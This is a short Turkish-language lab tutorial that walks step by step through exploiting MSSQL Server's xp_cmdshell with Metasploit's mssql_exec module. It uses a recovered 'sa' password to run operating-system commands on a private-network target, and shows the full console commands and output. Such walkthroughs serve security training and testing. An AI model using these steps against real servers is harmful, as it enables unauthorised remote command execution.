MSSQL Server xp_cmdshell zafiyeti

AMAÇ: xp_cmdshell zafiyetinin sömürülmesi

GEREKSİNİMLER: Kali Linux, nmap, metasploit

Adım 1 – Putty ile Kali Linux üzerinde oturum açılır.

Adım 2 – Komut satırında Metasploit çalıştırılır.

```
msfconsole
```

Adım 3 – Elde edilen IP adresi, kullanıcı adı ve şifre bilgisi kullanılarak hedef bilgisayar üzerinde xp_cmdhell açıklığı kullanılarak işletim sistemi komutları çalıştırılabilir.

```
msf auxiliary(mssql_enum) > use auxiliary/admin/mssql/mssql_exec        xp_cmdshell modülü yüklenir
msf auxiliary(mssql_exec) > show options

Module options (auxiliary/admin/mssql/mssql_exec):

   Name                 Current Setting                      Required  Description
   ----                 ---------------                      --------  -----------
   CMD                  cmd.exe /c echo OWNED > C:\owned.exe  no        Command to execute
   PASSWORD                                                  no        The password for the specified username
   RHOST                                                     yes       The target address
   RPORT                1433                                 yes       The target port
   USERNAME             sa                                   no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false                                yes       Use windows authentification (requires DOMAIN option set)

msf auxiliary(mssql_exec) > set CMD ipconfig        xp_cmdshell ile çalışacak komut yazılır
CMD => ipconfig
msf auxiliary(mssql_exec) > set PASSWORD 123        elde edilen sa şifresi girilir.
PASSWORD => 123
msf auxiliary(mssql_exec) > set RHOST 192.168.1.101        sql server IP bilgisi girilir
RHOST => 192.168.1.101
msf auxiliary(mssql_exec) > run        exploit çalıştırılır

[*] SQL Query: EXEC master..xp_cmdshell 'ipconfig'


 output
 ------

 Windows IP Configuration        Exploit çalışması ile windows ortamında ipconfig komutu çalıştırılarak sonuç gösterilir.

 Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . :
    Link-local IPv6 Address . . . . . : fe80::10bb:ca73:8f97:3eda%5
    IPv4 Address. . . . . . . . . . . : 192.168.1.101
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 192.168.1.100

 Tunnel adapter isatap.{36685982-F0F8-47B1-85FB-65A2886822FB}:

    Media State . . . . . . . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :


[*] Auxiliary module execution completed
```

Sonuç: Sql server üzerinde komut çalıştırılmış olur.